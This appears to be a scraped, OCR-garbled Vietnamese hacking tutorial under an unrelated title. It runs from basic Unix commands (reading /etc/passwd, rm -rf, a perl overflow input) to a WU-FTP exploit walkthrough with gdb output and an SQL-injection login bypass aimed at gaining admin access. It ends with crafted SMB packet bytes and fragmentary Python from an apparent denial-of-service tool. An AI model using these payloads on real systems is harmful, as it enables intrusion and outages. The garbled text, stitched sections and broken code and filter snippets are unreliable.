Lỗi hp quick launch buttons không gỡ được năm 2024
See other formatsKY THUAT
3 Wed Dec 26 10:50:09 ICT 2001 1686 unknownLénh id: Xem uid/gid hiện tại (xem nhóm và tên hiện tại) Lệnh w: Xem các user đang login và action của họ trên hệ thống. Ví Du: $w nó sé dua ra thóng tin sau: 10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00 §6 KỸ THUẬT ĐIỆâ TOÁä Lénh ps: Xem thóng tin các process trén hé thóng Ví du: $ps axuw Lénh cd: Ban muón di chuyén dén thu muc nào. phài nhó dén lénh này. Vi du: $ cd /usr/bin > no sé dua ban dén thu muc bin Lénh mkdir: Tao 1 thu muc. Vi du: $ mkdir /home/convit --- 7 nó sé tao 1 thu muc convit trong /home Lénh rmdir: Gỡ bỏ thư mục Vi du: $ rmdir /home/conga > nó sẽ gỡ bỏ thư muc conga trong /home. Lệnh Is: Liét ké nói dung thu muc Ví dụ: $Is -laR / Lệnh printf: In dữ liệu có định dạng, giống nhu sử dựng printf() của C++. Vi du: $printf %s \x41\x41\x41\x41" Lénh pwd: Dua ra thu muc hién hanh Vi du: $pwd -- > nó sẽ cho ta biết vị trí hiện thời của ta ở đâu: /home/levell Các lệnh: cp, mv, rm có nghia là: copy, move, delete file Vị dụ với lệnh rm (del): $rm -rf /var/tmp/blah - 7 nó sé del file blah. Làm tuong tu dói vói các lénh cp, mv. Lénh find: Tim kiếm file, thư mục Ví dụ: $find / -user level2 Lénh grep: Cóng cu tim kiém, cách sü dung don gián nhát: grep "something" Vi du: $ps axuw | grep ‘’levell”’ Lénh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa VD: $strings /usr/bin/levell Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất đề xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace. Ví du: $strace /usr/bin/levell Lénh 'cat, more"': In nói dung file ra màn hinh $cat /etc/passwd | more > nó sẽ đưa ra nội dung file passwd mót cách nhanh nhát. $more /etc/passwd -- > 4 6 sẽ đưa ra nội dung file password một cách từ từ. Lệnh hexdump: In ra các giá tri tuong tng theo ascii, hex, octal, decimal cua dt ligu nhap vao. Vi du: $echo AAAA | hexdump Lệnh: cc, gcc, make, gdb: các công cu bién dich và debug. Ví dụ: $gcc -o -g bof bof.c Vi du: $make bof Vi du: $gdb levell (gdb) break main (gdb) run Lệnh perl: một ngôn ngữ Ví du: $perl -e print "A"x1024" |./bufferoverflow (Lói tràn bó dém khi ta đánh vào 1024 ky tu) Lénh ‘’bash’’: Da dén lic tu dóng hóa các tac vu cua ban bang shell scrIPt, cuc manh và linh hoat. Ban muón tim hiéu vé bash, xem nó nhu thé nào: $man bash Lệnh Is: Xem nói dung thu muc (Liét ké file trong thu muc). Vi Du: $ Is /home ^ sé hién toàn bộ file trong thư mục Home $ Is -a - > hiện toàn bộ file, bao gồm cá file án 87 KỸ THUẬT ĐIỆâ TOÁä $ Is -1 - > đưa ra thông tin vé các file Lệnh ghi dữ liệu đầu ra vào 1 file: Vi du: $ Is /urs/bin > ~/convoi -- > ghi dữ liệu hiển thị thông tin của thu muc bin vào 1 file convoi. 34.- Những hiểu biết cơ bản xung quanh Linux:SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct usernameSunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/ database Ultrix 4 /etc/auth[.dir|.pag] Ua ICOS /etc/udb 35.- Khai thác lỗi của Linux qua lỗ hồng bảo mật cia WU-FTP server: WU-FTP Server (duoc phát trién bói Dai Hoc Washington) là mót phàn mém Server phuc vu FTP duoc düng khá phó bién trén các hé thóng Unix & Linux (tát cà các nhà phán phói: Redhat, Caldera, Slackware, Suse, Mandrake...) va ca Windows...., các hacker có thé thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống. Tuy nhiên, việc khai thác lỗi này không phải là dễ vì nó phải hội đủ những điều kiện sau: Phái có account trén server. Phải đặt duoc Shellcode vào trong bó nhé Process cua Server. Phải gửi một lệnh FTP đặc biệt chứa dung mót globbing màu dác biét mà khóng bi server phát hiện có lỗi. 88 KỸ THUẬT ĐIỆâ TOÁä Hacker sé ghi dé lén mót Function, Code tói mót Shellcode, có thé nó sé duoc thuc thi bói chính Server FTP. Server. Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP: CODE ftp > open localhost <== lệnh mở trang bị lỗi. Connected to localhost (127.0.0.1). 220 sasha FTP server (Version wu-2.6.1-18) ready «—- xâm nháp thành cóng FTP 4 ame (localhost:root): anonymous <== 4 hap tên chô này 331 Guest login ok, send your complete e-mail address as password. Password:........... <== nhập mật khâu ở đây 230 Guest login ok, access restrictions apply. Remote system type is Ua IX. Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyền đổi file. ftp > Is ~{ <== lệnh liệt kê thư mục hiện hành. 227 Entering Passive Mode (127,0,0,1,241,205) 42] Service not available, remote server has closed connection 1405 ? S 0:00 ftpd: accepting connections on port 21 ¢ chap nhan két néI 6 céng 21. 7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd 26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 26265 tty3 R 0:00 bash -c ps ax | grep ftpd (gdb) at 26256 Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd. Symbols already loaded for /lib/libcrypt.so.1 Symbols already loaded for /lib/libnsl.so.1 Symbols already loaded for /lib/libresolv.so.2 Symbols already loaded for /lib/libpam.so.0 Symbols already loaded for /lib/libdl.so.2 Symbols already loaded for /lib/1686/libc.so.6 Symbols already loaded for /lib/1d-linux.so.2 Symbols already loaded for /lib/libnss files.so.2 Symbols already loaded for /lib/libnss nisplus.so.2 Symbols already loaded for /lib/libnss nis.so.2 0x40165544 in libc read () from /lib/1686/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. . libc free (mem-0x61616161) at malloc.c:3136 3136 in malloc.c Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công (chăng biết làm sai chỗ nào). Vậy bạn nào làm được hãy post lên cho anh em biết nhé. Lỗi Linux hiện nay rất ít (đặc biệt là đối với Redhat), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên “°Lỗi bảo mật”? sẽ cập nhật ngay. 36.- Tim hiéu vé SQL Injection: . . 2. SQL Injection là một trong những kiêu hack web đang dân trở nên phô bién hiện nay. Bằng cách inject các mà SQL query/command vào input truóc khi chuyền cho ứng dụng web xử lý, bạn có thé login mà khóng can username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng dé tan công là một trình duyệt web bất kỳ, chăng han nhu Internet EXPlorer, â etscape, Lynx,... §9 KỸ THUẬT ĐIỆâ TOÁä Ban có thé kiém duoc trang Web bi lói bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu. Một số trang Web chuyên tham số qua các khu vực ấn nên bạn phải viewsource mới thấy được. VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta dà viewsource: CODE «input type-hidden name=A value=C > Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau: or `= ” vào login và password:
CODE
Login: ' or "—
Password: ' or "—
á éu thành sind bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin.
Ta hãy tìm hiểu về cách fix lỗi này nhé:
Loc các ký tự đặc biệt như °ˆ ~ V” bằng cách chêm vào JavascrIP đoạn mã sau:
CODE
function RemoveBad(strTemp)
{
strTemp - strTemp.replace(^«|- VIV Ne NQON&| V:
Var
return str Temp,
j
Và gọi nó từ bên trong cua asp scrIPt:
CODE
var login = var TempStr = RemoveBad
(Request.QueryString(``login)),
var password = var TempStr = RemoveBad
(Request.QueryString (password)), or “= ° mà bàng các nick name có
thật đã đăng ký trên trang Web đó, ta vào link “thành viên”? kiếm nick của một admin để test
thử nhé.
Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ (DoS attack), một kiểu tấn
công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong
thời gian ngắn các admin bận đi uống cafe hết mà không ai trông coi. Kèm theo đó là các
phương pháp tấn công DoS đã và đang được sử dụng.
38.- DoS attack 1a gi ? (Denial Of Services Attack)
DoS attack (dich la tán cóng tir chói dich vu) là kiéu tán cóng rát loi hai, vói loai tán
cóng này, ban chi càn mót máy tính két nói Internet là dà có thé thuc hién viéc tán cóng duoc
máy tính của đối phương. thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài
nguyên trên server (tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng,...) làm cho
server không thể nào đáp ứng các yêu cầu từ các máy của người khác (máy của những người
dùng bình thường) và server có thé nhanh chóng bị ngừng hoạt động, crash hoặc reboot.
39.- Các loại DoS attack hiện đang được biết đến và sử dụng: )
81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 4] 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 Tạo SMBcrud = ( Yêu cầu SMBnegprotf 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 Af 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 Af 46 54 20 4e 45 54 57 4f£ 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 KE AAA 93 KỸ THUẬT ĐIỆẩ TOÁä ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4 01 00 00 01 00 0d ff 00 00 00 ffff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 ` KE ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 KE KE ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 f£ 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 KE KE ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4£ 32 4b 70 16 d3 01 12 78 5a 47 bf 6e el 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 KE KE ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 Of 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 94 KY THUAT DIEa TOAA 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 KE ) crud = map(a2b, crud) def smb send(sock, data, type=0, flags=0): d — struct.pack( ! BBH', type, flags, len(data))print |
